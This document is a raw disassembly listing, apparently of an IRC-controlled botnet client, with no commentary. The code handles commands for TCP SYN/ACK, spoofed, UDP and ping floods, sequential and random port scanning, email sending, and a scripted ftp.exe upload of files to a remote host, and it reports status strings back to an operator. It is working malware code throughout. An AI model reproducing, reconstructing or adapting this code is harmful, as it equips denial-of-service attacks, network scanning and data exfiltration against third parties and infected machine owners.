		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40579C
		push	dword ptr [ebp+18h]
		push	offset aP	; "p"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40579C
		push	dword ptr [ebp+18h]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405609
		push	dword ptr [ebp+18h]
		push	offset aUsa	; "usa"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405609
		push	dword ptr [ebp+18h]
		push	offset aEmail	; "email"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40540A
		lea	eax, [ebp-3E4h]
		push	edi
		push	eax
		call	sub_41E550
		push	dword ptr [ebp+20h]
		call	sub_41D560
		push	dword ptr [ebp+8]
		mov	[ebp+20h], eax
		lea	eax, [ebp-0D9Ch]
		push	eax
		call	sub_41E550
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-0B94h]
		push	eax
		call	sub_41E550
		push	offset asc_43F9A8 ; " "
		push	offset a_	; "_"
		push	dword ptr [ebp+esi-80h]
		call	sub_4176D7
		push	eax
		lea	eax, [ebp-548h]
		push	eax
		call	sub_41E550
		add	esp, 30h
		lea	eax, [ebp-6F4h]
		push	eax
		push	101h
		call	ds:dword_451464
		lea	eax, [ebp-3E4h]
		push	eax
		call	ds:dword_451574
		push	6
		push	1
		push	2
		mov	edi, eax
		call	ds:dword_451570
		push	dword ptr [ebp+20h]
		mov	esi, eax
		mov	word ptr [ebp-2D8h], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-2D4h], eax
		call	ds:dword_4514F4
		mov	[ebp-2D6h], ax
		lea	eax, [ebp-548h]
		push	eax
		lea	eax, [ebp-0D9Ch]
		push	eax
		lea	eax, [ebp-548h]
		push	eax
		lea	eax, [ebp-0B94h]
		push	eax
		lea	eax, [ebp-0D9Ch]
		push	eax
		lea	eax, [ebp-159Ch]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41D260
		add	esp, 1Ch
		lea	eax, [ebp-2D8h]
		push	10h
		push	eax
		push	esi
		call	ds:dword_45149C
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp-0C98h]
		push	edi
		push	eax
		push	esi
		call	ds:dword_45150C
		lea	eax, [ebp-0C98h]
		push	ebx
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp-159Ch]
		push	eax
		push	esi
		call	ds:dword_451540
		push	ebx
		lea	eax, [ebp-0C98h]
		push	edi
		push	eax
		push	esi
		call	ds:dword_45150C
		push	esi
		call	ds:dword_451588
		call	ds:dword_45144C
		lea	eax, [ebp-0B94h]
		push	eax
		push	offset aEmailMessageSe ; "[EMAIL]: Message sent	to %s."


loc_4053D1:				; CODE XREF: seg000:0040654Cj
					; seg000:0040675Ej ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_41D260
		add	esp, 0Ch


loc_4053E0:				; CODE XREF: seg000:00406530j
					; seg000:00406710j ...
		cmp	[ebp-8], ebx
		jnz	loc_4080D2
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40145D
		add	esp, 14h
		jmp	loc_4080D2
; ---------------------------------------------------------------------------


loc_40540A:				; CODE XREF: seg000:0040527Bj
		push	dword ptr [ebp+18h]
		push	offset aHttpcon	; "httpcon"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4055DB
		push	dword ptr [ebp+18h]
		push	offset aHcon	; "hcon"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4055DB
		mov	esi, [ebp+esi-80h]
		cmp	esi, ebx
		jz	loc_403498
		push	dword ptr [ebp+18h]
		push	offset aUpload	; "upload"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40845F
		push	4
		push	esi
		call	sub_416995
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4054B0
		push	esi
		push	offset aFtpFileNotFoun ; "[FTP]: File not found: %s."


loc_40546F:				; CODE XREF: seg000:0040578Dj
					; seg000:00405D49j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_41D260
		add	esp, 0Ch


loc_40547E:				; CODE XREF: seg000:00405771j
					; seg000:00405D2Dj ...
		cmp	[ebp-8], ebx
		jnz	short loc_40549F
		push	ebx
		push	dword ptr [ebp-4]


loc_405487:				; CODE XREF: seg000:0040635Cj
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]


loc_405497:				; CODE XREF: seg000:00407B2Fj
		call	sub_40145D
		add	esp, 14h


loc_40549F:				; CODE XREF: seg000:00405481j
					; seg000:004058C0j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4161A7
		jmp	loc_4085EC
; ---------------------------------------------------------------------------


loc_4054B0:				; CODE XREF: seg000:00405467j
		call	ds:dword_4F1340	; GetTickCount
		push	eax
		call	sub_41DB90
		pop	ecx
		call	sub_41DBA0
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41DBA0
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41DBA0
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp-0C9Ch]
		push	edx
		push	eax
		lea	eax, [ebp-0B98h]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41D260
		lea	eax, [ebp-0B98h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41D0E0
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+2Ch], eax
		jz	loc_403498
		push	esi
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+20h]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41E440
		push	dword ptr [ebp+2Ch]
		call	sub_41ACF0
		lea	eax, [ebp-0B98h]
		push	eax
		lea	eax, [ebp-3E4h]
		push	offset aSS_0	; "-s:%s"
		push	eax
		call	sub_41D260
		add	esp, 2Ch
		lea	eax, [ebp-3E4h]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen_0	; "open"
		push	ebx
		call	ds:dword_451460
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_40557A
		push	offset aFtpUploadingFi ; "[FTP]: Uploading file: %s to:	%s"
		jmp	short loc_40557F
; ---------------------------------------------------------------------------


loc_40557A:				; CODE XREF: seg000:00405571j
		push	offset aFtpUploading_0 ; "[FTP]: Uploading file: %s to:	%s failed"...


loc_40557F:				; CODE XREF: seg000:00405578j
		call	sub_41D260
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_4055A8
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40145D
		add	esp, 14h


loc_4055A8:				; CODE XREF: seg000:0040558Aj
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4161A7


loc_4055B4:				; CODE XREF: seg000:004055D9j
		lea	eax, [ebp-0B98h]
		push	4
		push	eax
		call	sub_416995
		add	esp, 0Ch
		test	eax, eax
		jz	loc_403498
		lea	eax, [ebp-0B98h]
		push	eax
		call	sub_41E3D0
		jmp	short loc_4055B4
; ---------------------------------------------------------------------------


loc_4055DB:				; CODE XREF: seg000:0040541Bj
					; seg000:00405432j
		push	dword ptr [ebp+esi-80h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+20h]
		call	sub_41D560
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_411418
		jmp	loc_40845C
; ---------------------------------------------------------------------------


loc_405609:				; CODE XREF: seg000:0040524Dj
					; seg000:00405264j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp-680h]
		push	esi
		push	eax
		call	sub_41D360
		lea	eax, [ebp-680h]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41D900
		add	esp, 14h
		test	eax, eax
		jz	short loc_40566C
		lea	eax, [ebp-680h]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40566C
		lea	eax, [ebp-680h]
		push	eax
		push	offset aRandom	; "random"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40566C
		push	offset aTcpInvalidFloo ; "[TCP]: Invalid flood type specified."
		jmp	loc_407C35
; ---------------------------------------------------------------------------


loc_40566C:				; CODE XREF: seg000:00405632j
					; seg000:00405649j ...
		push	dword ptr [ebp+10h]
		call	sub_41D560
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-578h], eax
		jle	loc_405792
		push	edi
		lea	eax, [ebp-680h]
		push	esi
		push	eax
		call	sub_41D360
		push	dword ptr [ebp+20h]
		lea	eax, [ebp-700h]
		push	esi
		push	eax
		call	sub_41D360
		push	dword ptr [ebp+8]
		call	sub_41D560
		mov	[ebp-57Ch], eax
		xor	eax, eax
		cmp	[ebp-9A2h], bl
		push	dword ptr [ebp-8Ch]
		setnz	al
		mov	[ebp-574h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-704h], eax
		lea	eax, [ebp-600h]
		push	esi
		push	eax
		call	sub_41D360
		mov	eax, [ebp-4]
		add	esp, 28h
		cmp	[ebp-574h], ebx
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_405703
		mov	eax, offset aNormal ; "Normal"


loc_405703:				; CODE XREF: seg000:004056FCj
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+20h]
		push	edi
		push	eax
		push	offset aTcpSSFloodingS ; "[TCP]: %s %s flooding: (%s:%s) for %s	s"...
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_41D360
		push	ebx
		lea	eax, [ebp-2C8h]
		push	14h
		push	eax
		call	sub_408D3F
		add	esp, 2Ch
		mov	[ebp-580h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-704h]
		push	ebx
		push	eax
		push	offset byte_414E1B
		push	ebx
		push	ebx
		call	ds:dword_4F131C	; CreateThread
		mov	ecx, [ebp-580h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4523CC[ecx], eax
		jz	short loc_405781


loc_40576B:				; CODE XREF: seg000:0040577Fj
		cmp	[ebp-568h], ebx
		jnz	loc_40547E
		push	32h
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_40576B
; ---------------------------------------------------------------------------


loc_405781:				; CODE XREF: seg000:00405769j
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		push	offset aTcpFailedToSta ; "[TCP]: Failed	to start flood thread, er"...
		jmp	loc_40546F
; ---------------------------------------------------------------------------


loc_405792:				; CODE XREF: seg000:0040567Dj
		push	offset aTcpInvalidFl_0 ; "[TCP]: Invalid flood time must be great"...
		jmp	loc_407C35
; ---------------------------------------------------------------------------


loc_40579C:				; CODE XREF: seg000:00405208j
					; seg000:0040521Fj ...
		cmp	ds:dword_4515E0, ebx
		mov	esi, [ebp+0Ch]
		jnz	loc_4058A4
		mov	eax, [ebp-8]
		push	7Fh
		mov	[ebp-2ECh], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F0h], eax
		lea	eax, [ebp-384h]
		push	edi
		push	eax
		call	sub_41D800
		push	dword ptr [ebp+20h]
		call	sub_41D560
		push	dword ptr [ebp+8]
		mov	[ebp-304h], eax
		call	sub_41D560
		push	dword ptr [ebp+10h]
		mov	[ebp-300h], eax
		call	sub_41D560
		push	7Fh
		mov	[ebp-2FCh], eax
		push	dword ptr [ebp-8Ch]
		lea	eax, [ebp-404h]
		push	eax
		call	sub_41D800
		push	dword ptr [ebp-2FCh]
		lea	eax, [ebp-384h]
		mov	[ebp-408h], esi
		push	dword ptr [ebp-300h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-304h]
		push	offset aPingSendingDPi ; "[PING]: Sending %d pings to %s. packet "...
		push	eax
		call	sub_41D260
		push	ebx
		lea	eax, [ebp-2C8h]
		push	16h
		push	eax
		call	sub_408D3F
		add	esp, 48h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-408h]
		push	ebx
		push	eax
		push	offset word_414272
		push	ebx
		push	ebx
		call	ds:dword_4F131C	; CreateThread
		mov	ecx, [ebp-2F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4523CC[ecx], eax
		jz	short loc_405893


loc_405881:				; CODE XREF: seg000:00405891j
		cmp	[ebp-2E8h], ebx
		jnz	short loc_4058BD
		push	32h
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_405881
; ---------------------------------------------------------------------------


loc_405893:				; CODE XREF: seg000:0040587Fj
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		push	offset aPingFailedToSt ; "[PING]: Failed to start flood	thread,	e"...
		jmp	loc_406455
; ---------------------------------------------------------------------------


loc_4058A4:				; CODE XREF: seg000:004057A5j
		push	1FFh
		lea	eax, [ebp-2C8h]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41D800


loc_4058BA:				; CODE XREF: seg000:00406461j
		add	esp, 0Ch


loc_4058BD:				; CODE XREF: seg000:00405887j
					; seg000:004059CEj ...
		cmp	[ebp-8], ebx
		jnz	loc_40549F
		push	ebx
		push	dword ptr [ebp-4]
		jmp	loc_407B21
; ---------------------------------------------------------------------------


loc_4058CF:				; CODE XREF: seg000:004051C3j
					; seg000:004051DAj ...
		mov	eax, [ebp-8]
		push	7Fh
		mov	[ebp-2ECh], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F0h], eax
		lea	eax, [ebp-384h]
		push	edi
		push	eax
		call	sub_41D800
		push	dword ptr [ebp+20h]
		call	sub_41D560
		push	dword ptr [ebp+8]
		mov	[ebp-304h], eax
		call	sub_41D560
		push	dword ptr [ebp+10h]
		mov	[ebp-300h], eax
		call	sub_41D560
		mov	esi, [ebp+esi-80h]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp-2FCh], eax
		jz	short loc_405934
		push	esi
		call	sub_41D560
		pop	ecx
		mov	[ebp-2F8h], eax
		jmp	short loc_40593A
; ---------------------------------------------------------------------------


loc_405934:				; CODE XREF: seg000:00405923j
		mov	[ebp-2F8h], ebx


loc_40593A:				; CODE XREF: seg000:00405932j
		push	7Fh
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-8Ch]
		push	eax
		call	sub_41D800
		push	dword ptr [ebp-2FCh]
		mov	esi, [ebp+0Ch]
		lea	eax, [ebp-384h]
		mov	[ebp-408h], esi
		push	dword ptr [ebp-300h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-304h]
		push	offset aUdpSendingDPac ; "[UDP]: Sending %d packets to:	%s. Packe"...
		push	eax
		call	sub_41D260
		push	ebx
		lea	eax, [ebp-2C8h]
		push	17h
		push	eax
		call	sub_408D3F
		add	esp, 30h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-408h]
		push	ebx
		push	eax
		push	offset word_4143FE
		push	ebx
		push	ebx
		call	ds:dword_4F131C	; CreateThread
		mov	ecx, [ebp-2F4h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4523CC[ecx], eax
		jz	short loc_4059DE


loc_4059C8:				; CODE XREF: seg000:004059DCj
		cmp	[ebp-2E8h], ebx
		jnz	loc_4058BD
		push	32h
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_4059C8
; ---------------------------------------------------------------------------


loc_4059DE:				; CODE XREF: seg000:004059C6j
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		push	offset aUdpFailedToSta ; "[UDP]: Failed	to start flood thread, er"...
		jmp	loc_406455
; ---------------------------------------------------------------------------


loc_4059EF:				; CODE XREF: seg000:00405195j
					; seg000:004051ACj
		push	0Bh
		call	sub_408F87
		push	dword ptr [ebp+20h]
		mov	[ebp+18h], eax
		call	sub_41D560
		add	eax, [ebp+18h]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	short loc_405A42
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-2C8h]
		push	offset aScanAlreadyDSc ; "[SCAN]: Already %d scanning threads. To"...
		push	eax
		call	sub_41D260
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40145D


loc_405A3A:				; CODE XREF: seg000:00406DE7j
		add	esp, 20h
		jmp	loc_40845F
; ---------------------------------------------------------------------------


loc_405A42:				; CODE XREF: seg000:00405A0Bj
		push	edi
		call	sub_41D560
		push	dword ptr [ebp+20h]
		mov	[ebp-31Ch], eax
		call	sub_41D560
		push	dword ptr [ebp+8]
		mov	[ebp-304h], eax
		call	sub_41D560
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp-318h], eax
		jnb	short loc_405A7B
		push	5
		pop	eax
		mov	[ebp-318h], eax


loc_405A7B:				; CODE XREF: seg000:00405A70j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_405A88
		mov	[ebp-318h], ecx


loc_405A88:				; CODE XREF: seg000:00405A80j
		push	dword ptr [ebp+10h]
		call	sub_41D560
		mov	[ebp-314h], eax
		mov	eax, 320h
		cmp	[ebp-314h], eax
		pop	ecx
		jbe	short loc_405AAA
		mov	[ebp-314h], eax


loc_405AAA:				; CODE XREF: seg000:00405AA2j
		or	dword ptr [ebp-300h], 0FFFFFFFFh
		cmp	ds:dword_4439F0, ebx
		mov	[ebp+10h], ebx
		jz	short loc_405B00
		mov	dword ptr [ebp+2Ch], offset dword_4439F0


loc_405AC3:				; CODE XREF: seg000:00405AE2j
		mov	eax, [ebp+2Ch]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405AE6
		add	dword ptr [ebp+2Ch], 40h
		inc	dword ptr [ebp+10h]
		mov	eax, [ebp+2Ch]
		cmp	[eax], ebx
		jnz	short loc_405AC3
		jmp	short loc_405B00
; ---------------------------------------------------------------------------


loc_405AE6:				; CODE XREF: seg000:00405AD4j
		mov	eax, [ebp+10h]
		mov	ecx, eax
		mov	[ebp-300h], eax
		shl	ecx, 6
		mov	ecx, ds:dword_4439F0[ecx]
		mov	[ebp-31Ch], ecx


loc_405B00:				; CODE XREF: seg000:00405ABAj
					; seg000:00405AE4j
		cmp	[ebp-31Ch], ebx
		jnz	short loc_405B12
		push	offset aScanFailedToSt ; "[SCAN]: Failed to start scan,	port is	i"...
		jmp	loc_407C35
; ---------------------------------------------------------------------------


loc_405B12:				; CODE XREF: seg000:00405B06j
		mov	edi, [ebp+esi-80h]
		cmp	edi, ebx
		mov	[ebp+20h], edi
		jz	short loc_405B4D
		cmp	byte ptr [edi],	23h
		jz	short loc_405B4D
		push	edi
		lea	eax, [ebp-430h]
		push	10h
		push	eax
		call	sub_41D360
		push	78h
		push	edi
		call	sub_41E650
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp-2F0h], eax
		jmp	loc_405C21
; ---------------------------------------------------------------------------


loc_405B4D:				; CODE XREF: seg000:00405B1Bj
					; seg000:00405B20j
		cmp	[ebp-9B3h], bl
		jnz	short loc_405B6F
		cmp	[ebp-9B2h], bl
		jnz	short loc_405B6F
		cmp	[ebp-9A2h], bl
		jnz	short loc_405B6F
		push	offset aScanFailedTo_0 ; "[SCAN]: Failed to start scan,	no IP spe"...
		jmp	loc_407C35
; ---------------------------------------------------------------------------


loc_405B6F:				; CODE XREF: seg000:00405B53j
					; seg000:00405B5Bj ...
		push	10h
		lea	eax, [ebp+8]
		pop	edi
		push	eax
		lea	eax, [ebp-2D8h]
		push	eax
		mov	[ebp+8], edi
		push	dword ptr [ebp+0Ch]
		call	ds:dword_451498
		mov	al, [ebp-9B3h]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp-2D4h], eax
		push	dword ptr [ebp-2D4h]
		call	ds:dword_45157C
		push	eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_41D800
		add	esp, 0Ch
		cmp	[ebp-9A2h], bl
		jz	short loc_405C1B
		xor	eax, eax
		cmp	[ebp-9B3h], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_41E3A0
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	[ebp+2Fh], bl
		jle	short loc_405C0F


loc_405BED:				; CODE XREF: seg000:00405C0Dj
		cmp	eax, ebx
		jz	short loc_405C0F
		mov	byte ptr [eax],	78h
		lea	eax, [ebp-430h]
		push	30h
		push	eax
		call	sub_41E3A0
		inc	byte ptr [ebp+2Fh]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+2Fh]
		cmp	ecx, edi
		jl	short loc_405BED


loc_405C0F:				; CODE XREF: seg000:00405BEBj
					; seg000:00405BEFj
		mov	dword ptr [ebp-2F0h], 1
		jmp	short loc_405C21
; ---------------------------------------------------------------------------


loc_405C1B:				; CODE XREF: seg000:00405BC5j
		mov	[ebp-2F0h], ebx


loc_405C21:				; CODE XREF: seg000:00405B48j
					; seg000:00405C19j
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp-8Ch]
		mov	[ebp-320h], eax
		mov	eax, [ebp-4]
		mov	[ebp-2F8h], eax
		mov	eax, [ebp-8]
		mov	[ebp-2F4h], eax
		mov	edi, 80h
		lea	eax, [ebp-420h]
		push	edi
		push	eax
		call	sub_41D360
		mov	esi, [ebp+esi-7Ch]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_405C72


loc_405C5F:				; CODE XREF: seg000:00405C95j
		push	esi


loc_405C60:				; CODE XREF: seg000:00405C7Fj
		lea	eax, [ebp-3A0h]
		push	edi
		push	eax
		call	sub_41D360
		add	esp, 0Ch
		jmp	short loc_405C9D
; ---------------------------------------------------------------------------


loc_405C72:				; CODE XREF: seg000:00405C5Dj
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jz	short loc_405C81
		cmp	byte ptr [eax],	23h
		jnz	short loc_405C81
		push	eax
		jmp	short loc_405C60
; ---------------------------------------------------------------------------


loc_405C81:				; CODE XREF: seg000:00405C77j
					; seg000:00405C7Cj
		mov	esi, offset a143 ; "#143"
		push	offset dword_4DF358
		push	esi
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405C5F
		mov	[ebp-3A0h], bl


loc_405C9D:				; CODE XREF: seg000:00405C70j
		cmp	[ebp-2F0h], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_405CAF
		mov	eax, offset aSequential	; "Sequential"


loc_405CAF:				; CODE XREF: seg000:00405CA8j
		push	dword ptr [ebp-304h]
		lea	ecx, [ebp-430h]
		push	dword ptr [ebp-314h]
		push	dword ptr [ebp-318h]
		push	dword ptr [ebp-31Ch]
		push	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aScanSPortScanS ; "[SCAN]: %s Port Scan started on %s:%d	w"...
		push	eax
		call	sub_41D260
		push	ebx
		lea	eax, [ebp-2C8h]
		push	0Bh
		push	eax
		call	sub_408D3F
		add	esp, 2Ch
		mov	[ebp-310h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-430h]
		push	ebx
		push	eax
		push	offset sub_40A146
		push	ebx
		push	ebx
		call	ds:dword_4F131C	; CreateThread
		mov	ecx, [ebp-310h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4523CC[ecx], eax
		jz	short loc_405D3D


loc_405D27:				; CODE XREF: seg000:00405D3Bj
		cmp	[ebp-2ECh], ebx
		jnz	loc_40547E
		push	32h
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_405D27
; ---------------------------------------------------------------------------


loc_405D3D:				; CODE XREF: seg000:00405D25j
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		push	offset aScanFailedTo_1 ; "[SCAN]: Failed to start scan thread, er"...
		jmp	loc_40546F
; ---------------------------------------------------------------------------


loc_405D4E:				; CODE XREF: seg000:00405155j
					; seg000:0040516Cj
		push	edi
		call	sub_41D560
		imul	eax, 234h
		pop	ecx
		cmp	ds:byte_4523D0[eax], bl
		jz	loc_40845F
		cmp	[ebp-0Ch], ebx
		jz	loc_40845F
		push	dword ptr [ebp+20h]
		call	sub_41AC70
		push	edi
		mov	esi, eax
		call	sub_41AC70
		push	dword ptr [ebp+18h]
		add	esi, eax
		call	sub_41AC70
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+8]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41DBE0
		mov	esi, eax
		lea	eax, [ebp-2C8h]
		push	esi
		push	offset dword_43F60C
		push	eax
		call	sub_41D260
		add	esp, 20h
		cmp	esi, ebx
		jz	loc_40845F
		push	edi
		call	sub_41D560
		test	eax, eax
		pop	ecx
		jle	loc_40845F
		push	edi
		call	sub_41D560
		cmp	eax, 400h
		pop	ecx
		jge	loc_40845F
		push	ebx
		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		push	dword ptr [ebp+20h]
		push	edi
		call	sub_41D560
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4523C4[eax]
		call	sub_40145D
		push	edi
		call	sub_41D560
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr ds:dword_4521B8[eax], 73h
		jnz	loc_40845F
		push	esi
		push	edi
		call	sub_41D560
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_4523D0
		push	eax
		push	dword ptr [ebp+20h]
		push	offset dword_43F618


loc_405E36:				; CODE XREF: seg000:00405F33j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_41D260
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40145D


loc_405E5B:				; CODE XREF: seg000:00407CFDj
		add	esp, 28h
		jmp	loc_40845F
; ---------------------------------------------------------------------------


loc_405E63:				; CODE XREF: seg000:00405127j
					; seg000:0040513Ej
		push	edi
		call	sub_41D560
		imul	eax, 234h
		pop	ecx
		cmp	ds:byte_4523D0[eax], bl
		jz	loc_40845F
		cmp	[ebp-0Ch], ebx
		jz	loc_40845F
		push	dword ptr [ebp+20h]
		call	sub_41AC70
		push	edi
		mov	esi, eax
		call	sub_41AC70
		push	dword ptr [ebp+18h]
		add	esi, eax
		call	sub_41AC70
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+8]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41DBE0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_40845F
		push	edi
		call	sub_41D560
		test	eax, eax
		pop	ecx
		jle	loc_40845F
		push	edi
		call	sub_41D560
		cmp	eax, 400h
		pop	ecx
		jge	loc_40845F
		push	ebx
		push	ebx
		push	esi
		push	dword ptr [ebp+20h]
		push	edi
		call	sub_41D560
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4523C4[eax]
		call	sub_40145D
		push	edi
		call	sub_41D560
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr ds:dword_4521B8[eax], 73h
		jnz	loc_40845F
		push	esi
		push	edi
		call	sub_41D560
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_4523D0
		push	eax
		push	dword ptr [ebp+20h]
		push	offset aSSS_0	; "[%s]	<%s> %s"
		jmp	loc_405E36
; ---------------------------------------------------------------------------


loc_405F38:				; CODE XREF: seg000:004050F9j
					; seg000:00405110j
		push	edi
		call	ds:dword_451530
		push	dword ptr [ebp+20h]
		mov	[ebp-460h], eax
		call	sub_41D560
		push	dword ptr [ebp+8]
		mov	[ebp-470h], eax
		call	sub_41D560
		mov	esi, [ebp+0Ch]
		push	7Fh
		push	dword ptr [ebp-8Ch]
		mov	[ebp-468h], eax
		lea	eax, [ebp-4F0h]
		mov	[ebp-4F4h], esi
		push	eax
		call	sub_41D800
		add	esp, 14h
		mov	edi, [ebp-4]
		mov	eax, [ebp-8]
		mov	[ebp-458h], edi
		push	dword ptr [ebp-468h]
		mov	[ebp-454h], eax
		push	dword ptr [ebp-470h]
		push	dword ptr [ebp-460h]
		call	ds:dword_45157C
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aScanPortScanSt ; "[SCAN]: Port scan started: %s:%d with	d"...
		push	eax
		call	sub_41D260
		push	ebx
		lea	eax, [ebp-2C8h]
		push	0Bh
		push	eax
		call	sub_408D3F
		add	esp, 20h
		mov	[ebp-464h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-4F4h]
		push	ebx
		push	eax
		push	offset sub_40A472
		push	ebx
		push	ebx
		call	ds:dword_4F131C	; CreateThread
